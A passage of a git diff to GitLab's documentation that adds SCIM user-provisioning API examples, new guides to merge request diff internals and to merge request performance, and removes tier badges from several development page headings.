+| `id` | string | yes | External UID of the user. |
+
+Example request:
+
+```shell
+curl "https://gitlab.example.com/api/scim/v2/application/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" \
+ --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
+```
+
+Example response:
+
+```json
+{
+ "schemas": [
+ "urn:ietf:params:scim:schemas:core:2.0:User"
+ ],
+ "id": "0b1d561c-21ff-4092-beab-8154b17f82f2",
+ "active": true,
+ "name.formatted": "Test User",
+ "userName": "username",
+ "meta": { "resourceType":"User" },
+ "emails": [
+ {
+ "type": "work",
+ "value": "name@example.com",
+ "primary": true
+ }
+ ]
+}
+```
+
+### Create a SCIM provisioned user
+
+```plaintext
+POST /api/scim/v2/application/Users
+```
+
+Parameters:
+
+| Attribute | Type | Required | Description |
+|:---------------|:----------|:----|:--------------------------|
+| `externalId` | string | yes | External UID of the user. |
+| `userName` | string | yes | Username of the user. |
+| `emails` | JSON string | yes | Work email. |
+| `name` | JSON string | yes | Name of the user. |
+| `meta` | string | no | Resource type (`User`). |
+
+Example request:
+
+```shell
+curl --verbose --request POST "https://gitlab.example.com/api/scim/v2/application/Users" \
+ --data '{"externalId":"test_uid","active":null,"userName":"username","emails":[{"primary":true,"type":"work","value":"name@example.com"}],"name":{"formatted":"Test User","familyName":"User","givenName":"Test"},"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"meta":{"resourceType":"User"}}' \
+ --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
+```
+
+Example response:
+
+```json
+{
+ "schemas": [
+ "urn:ietf:params:scim:schemas:core:2.0:User"
+ ],
+ "id": "0b1d561c-21ff-4092-beab-8154b17f82f2",
+ "active": true,
+ "name.formatted": "Test User",
+ "userName": "username",
+ "meta": { "resourceType":"User" },
+ "emails": [
+ {
+ "type": "work",
+ "value": "name@example.com",
+ "primary": true
+ }
+ ]
+}
+```
+
+Returns a `201` status code if successful.
+
+### Update a single SCIM provisioned user
+
+Fields that can be updated are:
+
+| SCIM/IdP field | GitLab field |
+|:---------------------------------|:-----------------------------------------------------------------------------|
+| `id/externalId` | `extern_uid` |
+| `active` | Identity removal if `active` = `false` |
+
+```plaintext
+PATCH /api/scim/v2/application/Users/:id
+```
+
+Parameters:
+
+| Attribute | Type | Required | Description |
+|:----------|:--------|:---------|:----------------------------------------------------------------------------------------------------------------------------------------|
+| `id` | string | yes | External UID of the user. |
+| `Operations` | JSON string | yes | An [operations](#available-operations) expression. |
+
+Example request:
+
+```shell
+curl --verbose --request PATCH "https://gitlab.example.com/api/scim/v2/application/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" \
+ --data '{ "Operations": [{"op":"Add","path":"name.formatted","value":"New Name"}] }' \
+ --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
+```
+
+Returns an empty response with a `204` status code if successful.
+
+### Remove a single SCIM provisioned user
+
+Removes the user's SSO identity.
+
+```plaintext
+DELETE /api/scim/v2/application/Users/:id
+```
+
+Parameters:
+
+| Attribute | Type | Required | Description |
+| ------------ | ------ | -------- | ------------------------- |
+| `id` | string | yes | External UID of the user. |
+
+Example request:
+
+```shell
+curl --verbose --request DELETE "https://gitlab.example.com/api/scim/v2/application/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" \
+ --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
+```
+
+Returns an empty response with a `204` status code if successful.
+
### Available filters
They match an expression as specified in [the RFC7644 filtering section](https://www.rfc-editor.org/rfc/rfc7644#section-3.4.2.2).
diff --git a/doc/development/kubernetes.md b/doc/development/kubernetes.md
index 332a3c4ab09..e44e2af4371 100644
--- a/doc/development/kubernetes.md
+++ b/doc/development/kubernetes.md
@@ -4,7 +4,7 @@ group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Kubernetes integration - development guidelines **(FREE)**
+# Kubernetes integration - development guidelines
This document provides various guidelines when developing for the GitLab
[Kubernetes integration](../user/infrastructure/clusters/index.md).
diff --git a/doc/development/lfs.md b/doc/development/lfs.md
index dd7687cd28b..ec91f9f3c8b 100644
--- a/doc/development/lfs.md
+++ b/doc/development/lfs.md
@@ -4,7 +4,7 @@ group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Git LFS developer information **(FREE)**
+# Git LFS developer information
This page contains developer-centric information for GitLab team members. For the
user documentation, see [Git Large File Storage](../topics/git/lfs/index.md).
diff --git a/doc/development/logging.md b/doc/development/logging.md
index 44a47f96de1..6282f0f6677 100644
--- a/doc/development/logging.md
+++ b/doc/development/logging.md
@@ -4,7 +4,7 @@ group: Respond
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# GitLab Developers Guide to Logging **(FREE)**
+# GitLab Developers Guide to Logging
[GitLab Logs](../administration/logs/index.md) play a critical role for both
administrators and GitLab team members to diagnose problems in the field.
diff --git a/doc/development/maintenance_mode.md b/doc/development/maintenance_mode.md
index b61b7472385..486519715ab 100644
--- a/doc/development/maintenance_mode.md
+++ b/doc/development/maintenance_mode.md
@@ -4,7 +4,7 @@ group: Geo
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Internal workings of GitLab Maintenance Mode **(PREMIUM SELF)**
+# Internal workings of GitLab Maintenance Mode
## Where is Maintenance Mode enforced?
diff --git a/doc/development/merge_request_concepts/diffs/development.md b/doc/development/merge_request_concepts/diffs/development.md
new file mode 100644
index 00000000000..1c22eff34db
--- /dev/null
+++ b/doc/development/merge_request_concepts/diffs/development.md
@@ -0,0 +1,188 @@
+---
+stage: Create
+group: Code Review
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# Merge request diffs development guide
+
+This document explains the backend design and flow of merge request diffs.
+It should help contributors:
+
+- Understand the code design.
+- Identify areas for improvement through contribution.
+
+It's intentional that it doesn't contain too many implementation details, as they
+can change often. The code better explains these details. The components
+mentioned here are the major parts of the application for how merge request diffs
+are generated, stored, and returned to users.
+
+NOTE:
+This page is a living document. Update it accordingly when the parts
+of the codebase touched in this document are changed or removed, or when new components
+are added.
+
+## Data model
+
+Four main ActiveRecord models represent what we collectively refer to
+as _diffs._ These database-backed records replicate data contained in the
+project's Git repository, and are in part a cache against excessive access requests
+to [Gitaly](../../gitaly.md). Additionally, they provide a logical place for:
+
+- Calculated and retrieved metadata about the pieces of the diff.
+- General class- and instance- based logic.
+
+```mermaid
+erDiagram
+ MergeRequest ||--|{ MergeRequestDiff: ""
+ MergeRequestDiff |{--|{ MergeRequestDiffCommit: ""
+ MergeRequestDiff |{--|| MergeRequestDiffDetail: ""
+ MergeRequestDiff |{--|{ MergeRequestDiffFile: ""
+ MergeRequestDiffCommit |{--|| MergeRequestDiffCommitUser: ""
+```
+
+### `MergeRequestDiff`
+
+`MergeRequestDiff` is defined in `app/models/merge_request_diff.rb`. This
+class holds metadata and context related to the diff resulting from a set of
+commits. It defines methods that are the primary means for interacting with diff
+contents, individual commits, and the files containing changes.
+
+```ruby
+#<MergeRequestDiff:0x00007fd1ed63b4d0
+ id: 28,
+ state: "collected",
+ merge_request_id: 28,
+ created_at: Tue, 06 Sep 2022 18:56:02.509469000 UTC +00:00,
+ updated_at: Tue, 06 Sep 2022 18:56:02.754201000 UTC +00:00,
+ base_commit_sha: "ae73cb07c9eeaf35924a10f713b364d32b2dd34f",
+ real_size: "9",
+ head_commit_sha: "bb5206fee213d983da88c47f9cf4cc6caf9c66dc",
+ start_commit_sha: "0b4bc9a49b562e85de7cc9e834518ea6828729b9",
+ commits_count: 6,
+ external_diff: "diff-28",
+ external_diff_store: 1,
+ stored_externally: nil,
+ files_count: 9,
+ sorted: true,
+ diff_type: "regular",
+ verification_checksum: nil>
+```
+
+Diff content is usually accessed through this class. Logic is often applied
+to diff, file, and commit content before it is returned to a user.
+
+### `MergeRequestDiffCommit`
+
+`MergeRequestDiffCommit` is defined in `app/models/merge_request_diff_commit.rb`.
+This class corresponds to a single commit contained in its corresponding `MergeRequestDiff`,
+and holds header information about the commit.
+
+```ruby
+#<MergeRequestDiffCommit:0x00007fd1dfc6c4c0
+ authored_date: Wed, 06 Aug 2022 06:35:52.000000000 UTC +00:00,
+ committed_date: Wed, 06 Aug 2022 06:35:52.000000000 UTC +00:00,
+ merge_request_diff_id: 28,
+ relative_order: 0,
+ sha: "bb5206fee213d983da88c47f9cf4cc6caf9c66dc",
+ message: "Feature conflcit added\n\nSigned-off-by: Sample User <sample.user@example.com>\n",
+ trailers: {},
+ commit_author_id: 19,
+ committer_id: 19>
+```
+
+Every `MergeRequestDiffCommit` has a corresponding `MergeRequest::DiffCommitUser`
+record it `:belongs_to`, in ActiveRecord parlance. These records are `:commit_author`
+and `:committer`, and could be distinct individuals.
+
+### `MergeRequest::DiffCommitUser`
+
+`MergeRequest::DiffCommitUser` is defined in `app/models/merge_request/diff_commit_user.rb`.
+It captures the `name` and `email` of a given commit, but contains no connection
+itself to any `User` records.
+
+```ruby
+#<MergeRequest::DiffCommitUser:0x00007fd1dff7c930
+ id: 19,
+ name: "Sample User",
+ email: "sample.user@example.com">
+```
+
+### `MergeRequestDiffFile`
+
+`MergeRequestDiffFile` is defined in `app/models/merge_request_diff_file.rb`.
+This record of this class represents the diff of a single file contained in the
+`MergeRequestDiff`. It holds both meta and specific information about the file's
+relationship to the change, such as:
+
+- Whether it is added or renamed.
+- Its ordering in the diff.
+- The raw diff output itself.
+
+### `MergeRequestDiffDetail`
+
+`MergeRequestDiffDetail` is defined in `app/models/merge_request_diff_detail.rb`.
+This class provides verification information for Geo replication, but otherwise
+is not used for user-facing diffs.
+
+```ruby
+#<MergeRequestDiffFile:0x00007fd1ef7c9048
+ merge_request_diff_id: 28,
+ relative_order: 0,
+ new_file: true,
+ renamed_file: false,
+ deleted_file: false,
+ too_large: false,
+ a_mode: "0",
+ b_mode: "100644",
+ new_path: "files/ruby/feature.rb",
+ old_path: "files/ruby/feature.rb",
+ diff:
+ "@@ -0,0 +1,4 @@\n+# This file was changed in feature branch\n+# We put different code here to make merge conflict\n+class Conflict\n+end\n",
+ binary: false,
+ external_diff_offset: nil,
+ external_diff_size: nil>
+```
+
+## Flow
+
+These flowcharts should help explain the flow from the controllers down to the
+models for different features. This page is not intended to document the entirety
+of options for access and working with diffs, focusing solely on the most common.
+
+### `batch_diffs.json`
+
+The most common avenue for viewing diffs is the **Changes**
+tab in the top navigation bar of merge request pages in the GitLab UI. When selected, the
+diffs themselves are loaded via a paginated request to `/-/merge_requests/:id/batch_diffs.json`,
+which is served by [`Projects::MergeRequests::DiffsController#diffs_batch`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/controllers/projects/merge_requests/diffs_controller.rb):
+
+<!-- Don't delete the &nbsp; characters below. Mermaid returns a syntax error if they aren't included.-->
+
+```mermaid
+sequenceDiagram
+ Note over .#diffs_batch: Preload diffs and ivars
+ .#diffs_batch->>+.#define_diff_vars: &nbsp;
+ .#define_diff_vars ->>+ @merge_request: @merge_request_diffs =
+ Note right of @merge_request: An ordered collection of all diffs in MR
+ @merge_request-->>-.#define_diff_vars: &nbsp;
+ .#define_diff_vars ->>+ @merge_request: @merge_request_diff =
+ Note right of @merge_request: Most recent merge_request_diff (or commit)
+ @merge_request-->>-.#define_diff_vars: &nbsp;
+ .#define_diff_vars ->>+ .#define_diff_vars: @compare =
+ Note right of .#define_diff_vars:: param-filtered merge_request_diff(s)
+ .#define_diff_vars -->>- .#diffs_batch: &nbsp;
+ Note over .#diffs_batch: Preloading complete
+ .#diffs_batch->>+@merge_request: Calculate unfoldable diff lines
+ Note right of @merge_request: note_positions_for_paths.unfoldable
+ @merge_request-->>-.#diffs_batch: &nbsp;
+ Note over .#diffs_batch: Build options hash
+ Note over .#diffs_batch: Build cache_context
+ Note over .#diffs_batch: Unfold files in diff
+ .#diffs_batch->>+Gitlab_Diff_FileCollection_MergeRequestDiffBase: diffs.write_diff
+ Gitlab_Diff_FileCollection_MergeRequestDiffBase->>+Gitlab_Diff_HighlightCache: Highlight diff
+ Gitlab_Diff_HighlightCache -->>-Gitlab_Diff_FileCollection_MergeRequestDiffBase: Return highlighted diff
+ Note over Gitlab_Diff_FileCollection_MergeRequestDiffBase: Cache diff
+ Gitlab_Diff_FileCollection_MergeRequestDiffBase-->>-.#diffs_batch: &nbsp;
+ Note over .#diffs_batch: render JSON
+```
diff --git a/doc/development/merge_request_concepts/diffs/index.md b/doc/development/merge_request_concepts/diffs/index.md
new file mode 100644
index 00000000000..8ef3f01aba9
--- /dev/null
+++ b/doc/development/merge_request_concepts/diffs/index.md
@@ -0,0 +1,199 @@
+---
+stage: Create
+group: Code Review
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# Working with diffs
+
+We rely on different sources to present diffs. These include:
+
+- Gitaly service
+- Database (through `merge_request_diff_files`)
+- Redis (cached highlighted diffs)
+
+## Deep Dive
+
+<!-- vale gitlab.Spelling = NO -->
+
+In January 2019, Oswaldo Ferreira hosted a Deep Dive (GitLab team members only:
+`https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab Diffs and Commenting on Diffs
+functionality to share domain-specific knowledge with anyone who may work in this part of the
+codebase in the future:
+
+<!-- vale gitlab.Spelling = YES -->
+
+- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+ [Recording on YouTube](https://www.youtube.com/watch?v=K6G3gMcFyek)
+- Slides on [Google Slides](https://docs.google.com/presentation/d/1bGutFH2AT3bxOPZuLMGl1ANWHqFnrxwQwjiwAZkF-TU/edit)
+- [PDF slides](https://gitlab.com/gitlab-org/create-stage/uploads/b5ad2f336e0afcfe0f99db0af0ccc71a/)
+
+Everything covered in this deep dive was accurate as of GitLab 11.7, and while specific details may
+have changed since then, it should still serve as a good introduction.
+
+## Architecture overview
+
+### Merge request diffs
+
+When refreshing a merge request (pushing to a source branch, force-pushing to target branch, or if the target branch now contains any commits from the MR)
+we fetch the comparison information using `Gitlab::Git::Compare`, which fetches `base` and `head` data using Gitaly and diff between them through
+`Gitlab::Git::Diff.between`.
+The diffs fetching process _limits_ single file diff sizes and the overall size of the whole diff through a series of constant values. Raw diff files are
+then persisted on `merge_request_diff_files` table.
+
+Even though diffs larger than 10% of the value of `ApplicationSettings#diff_max_patch_bytes` are collapsed,
+we still keep them on PostgreSQL. However, diff files larger than defined _safety limits_
+(see the [Diff limits section](#diff-limits)) are _not_ persisted in the database.
+
+In order to present diffs information on the merge request diffs page, we:
+
+1. Fetch all diff files from database `merge_request_diff_files`
+1. Fetch the _old_ and _new_ file blobs in batch to:
+ - Highlight old and new file content
+ - Know which viewer it should use for each file (text, image, deleted, etc)
+ - Know if the file content changed
+ - Know if it was stored externally
+ - Know if it had storage errors
+1. If the diff file is cacheable (text-based), it's cached on Redis
+ using `Gitlab::Diff::FileCollection::MergeRequestDiff`
+
+### Note diffs
+
+When commenting on a diff (any comparison), we persist a truncated diff version
+on `NoteDiffFile` (which is associated with the actual `DiffNote`). So instead
+of hitting the repository every time we need the diff of the file, we:
+
+1. Check whether we have the `NoteDiffFile#diff` persisted and use it
+1. Otherwise, if it's a current MR revision, use the persisted
+ `MergeRequestDiffFile#diff`
+1. In the last scenario, go the repository and fetch the diff
+
+## Diff limits
+
+As explained above, we limit single diff files and the size of the whole diff. There are scenarios where we collapse the diff file,
+and cases where the diff file is not presented at all, and the user is guided to the Blob view.
+
+### Diff collection limits
+
+Limits that act onto all diff files collection. Files number, lines number and files size are considered.
+
+```ruby
+Gitlab::Git::DiffCollection.collection_limits[:safe_max_files] = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_files] = 100
+```
+
+File diffs are collapsed (but are expandable) if 100 files have already been rendered.
+
+```ruby
+Gitlab::Git::DiffCollection.collection_limits[:safe_max_lines] = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000
+```
+
+File diffs are collapsed (but be expandable) if 5000 lines have already been rendered.
+
+```ruby
+Gitlab::Git::DiffCollection.collection_limits[:safe_max_bytes] = Gitlab::Git::DiffCollection.collection_limits[:safe_max_files] * 5.kilobytes = 500.kilobytes
+```
+
+File diffs are collapsed (but be expandable) if 500 kilobytes have already been rendered.
+
+```ruby
+Gitlab::Git::DiffCollection.collection_limits[:max_files] = Commit::DIFF_HARD_LIMIT_FILES = 1000
+```
+
+No more files are rendered at all if 1000 files have already been rendered.
+
+```ruby
+Gitlab::Git::DiffCollection.collection_limits[:max_lines] = Commit::DIFF_HARD_LIMIT_LINES = 50000
+```
+
+No more files are rendered at all if 50,000 lines have already been rendered.
+
+```ruby
+Gitlab::Git::DiffCollection.collection_limits[:max_bytes] = Gitlab::Git::DiffCollection.collection_limits[:max_files] * 5.kilobytes = 5000.kilobytes
+```
+
+No more files are rendered at all if 5 megabytes have already been rendered.
+
+All collection limit parameters are sent and applied on Gitaly. That is, after the limit is surpassed,
+Gitaly only returns the safe amount of data to be persisted on `merge_request_diff_files`.
+
+### Individual diff file limits
+
+Limits that act onto each diff file of a collection. Files number, lines number and files size are considered.
+
+#### Expandable patches (collapsed)
+
+Diff patches are collapsed when surpassing 10% of the value set in `ApplicationSettings#diff_max_patch_bytes`.
+That is, it's equivalent to 10kb if the maximum allowed value is 100kb.
+The diff is persisted and expandable if the patch size doesn't
+surpass `ApplicationSettings#diff_max_patch_bytes`.
+
+Although this nomenclature (Collapsing) is also used on Gitaly, this limit is only used on GitLab (hardcoded - not sent to Gitaly).
+Gitaly only returns `Diff.Collapsed` (RPC) when surpassing collection limits.
+
+#### Not expandable patches (too large)
+
+The patch not be rendered if it's larger than `ApplicationSettings#diff_max_patch_bytes`.
+Users see a `Changes are too large to be shown.` message and a button to view only that file in that commit.
+
+```ruby
+Commit::DIFF_SAFE_LINES = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000
+```
+
+File diff is suppressed (technically different from collapsed, but behaves the same, and is expandable) if it has more than 5000 lines.
+
+This limit is hardcoded and only applied on GitLab.
+
+## Viewers
+
+Diff Viewers, which can be found on `models/diff_viewer/*` are classes used to map metadata about each type of Diff File. It has information
+whether it's a binary, which partial should be used to render it or which File extensions this class accounts for.
+
+`DiffViewer::Base` validates _blobs_ (old and new versions) content, extension and file type to check if it can be rendered.
+
+## Merge request diffs against the `HEAD` of the target branch
+
+Historically, merge request diffs have been calculated by `git diff target...source` which compares the
+`HEAD` of the source branch with the merge base (or a common ancestor) of the target branch and the source's.
+This solution works well until the target branch starts containing some of the
+changes introduced by the source branch: Consider the following case, in which the source branch
+is `feature_a` and the target is `main`:
+
+1. Checkout a new branch `feature_a` from `main` and remove `file_a` and `file_b` in it.
+1. Add a commit that removes `file_a` to `main`.
+
+The merge request diff still contains the `file_a` removal while the actual diff compared to
+`main`'s `HEAD` has only the `file_b` removal. The diff with such redundant
+changes is harder to review.
+
+In order to display an up-to-date diff, in GitLab 12.9 we
+[introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27008) merge request
+diffs compared against `HEAD` of the target branch: the
+target branch is artificially merged into the source branch, then the resulting
+merge ref is compared to the source branch to calculate an accurate
+diff.
+
+Until we complete the epics ["use merge refs for diffs"](https://gitlab.com/groups/gitlab-org/-/epics/854)
+and ["merge conflicts in diffs"](https://gitlab.com/groups/gitlab-org/-/epics/4893),
+both options `main (base)` and `main (HEAD)` are available to be displayed in merge requests:
+
+![Merge ref head options](../img/merge_ref_head_options_v13_6.png)
+
+The `main (HEAD)` option is meant to replace `main (base)` in the future.
+
+In order to support comments for both options, diff note positions are stored for
+both `main (base)` and `main (HEAD)` versions ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/198457) in 12.10).
+The position for `main (base)` version is stored in `Note#position` and
+`Note#original_position` columns, for `main (HEAD)` version `DiffNotePosition`
+has been introduced.
+
+One of the key challenges to deal with when working on merge ref diffs are merge
+conflicts. If the target and source branch contains a merge conflict, the branches
+cannot be automatically merged. The
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [recording on YouTube](https://www.youtube.com/watch?v=GFXIFA4ZuZw&feature=youtu.be&ab_channel=GitLabUnfiltered)
+is a quick introduction to the problem and the motivation behind the [epic](https://gitlab.com/groups/gitlab-org/-/epics/854).
+
+In 13.5 a solution for both-modified merge
+conflict has been
+[introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232484). However,
+there are more classes of merge conflicts that are to be
+[addressed](https://gitlab.com/groups/gitlab-org/-/epics/4893) in the future.
diff --git a/doc/development/img/merge_ref_head_options_v13_6.png b/doc/development/merge_request_concepts/img/merge_ref_head_options_v13_6.png
index 3134092cc92..3134092cc92 100644
--- a/doc/development/img/merge_ref_head_options_v13_6.png
+++ b/doc/development/merge_request_concepts/img/merge_ref_head_options_v13_6.png
Binary files differ
diff --git a/doc/development/merge_request_concepts/performance.md b/doc/development/merge_request_concepts/performance.md
new file mode 100644
index 00000000000..c1bdd45891d
--- /dev/null
+++ b/doc/development/merge_request_concepts/performance.md
@@ -0,0 +1,565 @@
+---
+stage: none
+group: unassigned
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# Merge Request Performance Guidelines
+
+Each new introduced merge request **should be performant by default**.
+
+To ensure a merge request does not negatively impact performance of GitLab
+_every_ merge request **should** adhere to the guidelines outlined in this
+document. There are no exceptions to this rule unless specifically discussed
+with and agreed upon by backend maintainers and performance specialists.
+
+It's also highly recommended that you read the following guides:
+
+- [Performance Guidelines../performance.md)
+- [Avoiding downtime in migrations](../database/avoiding_downtime_in_migrations.md)
+
+## Definition
+
+The term `SHOULD` per the [RFC 2119](https://www.ietf.org/rfc/rfc2119.txt) means:
+
+> This word, or the adjective "RECOMMENDED", mean that there
+> may exist valid reasons in particular circumstances to ignore a
+> particular item, but the full implications must be understood and
+> carefully weighed before choosing a different course.
+
+Ideally, each of these tradeoffs should be documented
+in the separate issues, labeled accordingly and linked
+to original issue and epic.
+
+## Impact Analysis
+
+**Summary:** think about the impact your merge request may have on performance
+and those maintaining a GitLab setup.
+
+Any change submitted can have an impact not only on the application itself but
+also those maintaining it and those keeping it up and running (for example, production
+engineers). As a result you should think carefully about the impact of your
+merge request on not only the application but also on the people keeping it up
+and running.
+
+Can the queries used potentially take down any critical services and result in
+engineers being woken up in the night? Can a malicious user abuse the code to
+take down a GitLab instance? Do my changes make loading a certain page
+slower? Does execution time grow exponentially given enough load or data in the
+database?
+
+These are all questions one should ask themselves before submitting a merge
+request. It may sometimes be difficult to assess the impact, in which case you
+should ask a performance specialist to review your code. See the "Reviewing"
+section below for more information.
+
+## Performance Review
+
+**Summary:** ask performance specialists to review your code if you're not sure
+about the impact.
+
+Sometimes it's hard to assess the impact of a merge request. In this case you
+should ask one of the merge request reviewers to review your changes. You can
+find a list of these reviewers at <https://about.gitlab.com/company/team/>. A reviewer
+in turn can request a performance specialist to review the changes.
+
+## Think outside of the box
+
+Everyone has their own perception of how to use the new feature.
+Always consider how users might be using the feature instead. Usually,
+users test our features in a very unconventional way,
+like by brute forcing or abusing edge conditions that we have.
+
+## Data set
+
+The data set the merge request processes should be known
+and documented. The feature should clearly document what the expected
+data set is for this feature to process, and what problems it might cause.
+
+If you would think about the following example that puts
+a strong emphasis of data set being processed.
+The problem is simple: you want to filter a list of files from
+some Git repository. Your feature requests a list of all files
+from the repository and perform search for the set of files.
+As an author you should in context of that problem consider
+the following:
+
+1. What repositories are planned to be supported?
+1. How long it do big repositories like Linux kernel take?
+1. Is there something that we can do differently to not process such a
+ big data set?
+1. Should we build some fail-safe mechanism to contain
+ computational complexity? Usually it's better to degrade
+ the service for a single user instead of all users.
+
+## Query plans and database structure
+
+The query plan can tell us if we need additional
+indexes, or expensive filtering (such as using sequential scans).
+
+Each query plan should be run against substantial size of data set.
+For example, if you look for issues with specific conditions,
+you should consider validating a query against
+a small number (a few hundred) and a big number (100_000) of issues.
+See how the query behaves if the result is a few
+and a few thousand.
+
+This is needed as we have users using GitLab for very big projects and
+in a very unconventional way. Even if it seems that it's unlikely
+that such a big data set is used, it's still plausible that one
+of our customers could encounter a problem with the feature.
+
+Understanding ahead of time how it behaves at scale, even if we accept it,
+is the desired outcome. We should always have a plan or understanding of what is needed
+to optimize the feature for higher usage patterns.
+
+Every database structure should be optimized and sometimes even over-described
+in preparation for easy extension. The hardest part after some point is
+data migration. Migrating millions of rows is always troublesome and
+can have a negative impact on the application.
+
+To better understand how to get help with the query plan reviews
+read this section on [how to prepare the merge request for a database review../database_review.md#how-to-prepare-the-merge-request-for-a-database-review).
+
+## Query Counts
+
+**Summary:** a merge request **should not** increase the total number of executed SQL
+queries unless absolutely necessary.
+
+The total number of queries executed by the code modified or added by a merge request
+must not increase unless absolutely necessary. When building features it's
+entirely possible you need some extra queries, but you should try to keep
+this at a minimum.
+
+As an example, say you introduce a feature that updates a number of database
+rows with the same value. It may be very tempting (and easy) to write this using
+the following pseudo code:
+
+```ruby
+objects_to_update.each do |object|
+ object.some_field = some_value
+ object.save
+end
+```
+
+This means running one query for every object to update. This code can
+easily overload a database given enough rows to update or many instances of this
+code running in parallel. This particular problem is known as the
+["N+1 query problem"](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations). You can write a test with [QueryRecorder](../database/query_recorder.md) to detect this and prevent regressions.
+
+In this particular case the workaround is fairly easy:
+
+```ruby
+objects_to_update.update_all(some_field: some_value)
+```
+
+This uses ActiveRecord's `update_all` method to update all rows in a single
+query. This in turn makes it much harder for this code to overload a database.
+
+## Use read replicas when possible
+
+In a DB cluster we have many read replicas and one primary. A classic use of scaling the DB is to have read-only actions be performed by the replicas. We use [load balancing](../../administration/postgresql/database_load_balancing.md) to distribute this load. This allows for the replicas to grow as the pressure on the DB grows.
+
+By default, queries use read-only replicas, but due to
+[primary sticking](../../administration/postgresql/database_load_balancing.md#primary-sticking), GitLab uses the
+primary for some time and reverts to secondaries after they have either caught up or after 30 seconds.
+Doing this can lead to a considerable amount of unnecessary load on the primary.
+To prevent switching to the primary [merge request 56849](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56849) introduced the
+`without_sticky_writes` block. Typically, this method can be applied to prevent primary stickiness
+after a trivial or insignificant write which doesn't affect the following queries in the same session.
+
+To learn when a usage timestamp update can lead the session to stick to the primary and how to
+prevent it by using `without_sticky_writes`, see [merge request 57328](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57328)
+
+As a counterpart of the `without_sticky_writes` utility,
+[merge request 59167](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59167) introduced
+`use_replicas_for_read_queries`. This method forces all read-only queries inside its block to read
+replicas regardless of the current primary stickiness.
+This utility is reserved for cases where queries can tolerate replication lag.
+
+Internally, our database load balancer classifies the queries based on their main statement (`select`, `update`, `delete`, and so on). When in doubt, it redirects the queries to the primary database. Hence, there are some common cases the load balancer sends the queries to the primary unnecessarily:
+
+- Custom queries (via `exec_query`, `execute_statement`, `execute`, and so on)
+- Read-only transactions
+- In-flight connection configuration set
+- Sidekiq background jobs
+
+After the above queries are executed, GitLab
+[sticks to the primary](../../administration/postgresql/database_load_balancing.md#primary-sticking).
+To make the inside queries prefer using the replicas,
+[merge request 59086](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59086) introduced
+`fallback_to_replicas_for_ambiguous_queries`. This MR is also an example of how we redirected a
+costly, time-consuming query to the replicas.
+
+## Use CTEs wisely
+
+Read about [complex queries on the relation object../database/iterating_tables_in_batches.md#complex-queries-on-the-relation-object) for considerations on how to use CTEs. We have found in some situations that CTEs can become problematic in use (similar to the n+1 problem above). In particular, hierarchical recursive CTE queries such as the CTE in [AuthorizedProjectsWorker](https://gitlab.com/gitlab-org/gitlab/-/issues/325688) are very difficult to optimize and don't scale. We should avoid them when implementing new features that require any kind of hierarchical structure.
+
+CTEs have been effectively used as an optimization fence in many simpler cases,
+such as this [example](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43242#note_61416277).
+Beginning in PostgreSQL 12, CTEs are inlined then [optimized by default](https://paquier.xyz/postgresql-2/postgres-12-with-materialize/).
+Keeping the old behavior requires marking CTEs with the keyword `MATERIALIZED`.
+
+When building CTE statements, use the `Gitlab::SQL::CTE` class [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56976) in GitLab 13.11.
+By default, this `Gitlab::SQL::CTE` class forces materialization through adding the `MATERIALIZED` keyword for PostgreSQL 12 and higher.
+`Gitlab::SQL::CTE` automatically omits materialization when PostgreSQL 11 is running
+(this behavior is implemented using a custom Arel node `Gitlab::Database::AsWithMaterialized` under the surface).
+
+WARNING:
+Upgrading to GitLab 14.0 requires PostgreSQL 12 or higher.
+
+## Cached Queries
+
+**Summary:** a merge request **should not** execute duplicated cached queries.
+
+Rails provides an [SQL Query Cache](../cached_queries.md#cached-queries-guidelines),
+used to cache the results of database queries for the duration of the request.
+
+See [why cached queries are considered bad](../cached_queries.md#why-cached-queries-are-considered-bad) and
+[how to detect them](../cached_queries.md#how-to-detect-cached-queries).
+
+The code introduced by a merge request, should not execute multiple duplicated cached queries.
+
+The total number of the queries (including cached ones) executed by the code modified or added by a merge request
+should not increase unless absolutely necessary.
+The number of executed queries (including cached queries) should not depend on
+collection size.
+You can write a test by passing the `skip_cached` variable to [QueryRecorder../database/query_recorder.md) to detect this and prevent regressions.
+
+As an example, say you have a CI pipeline. All pipeline builds belong to the same pipeline,
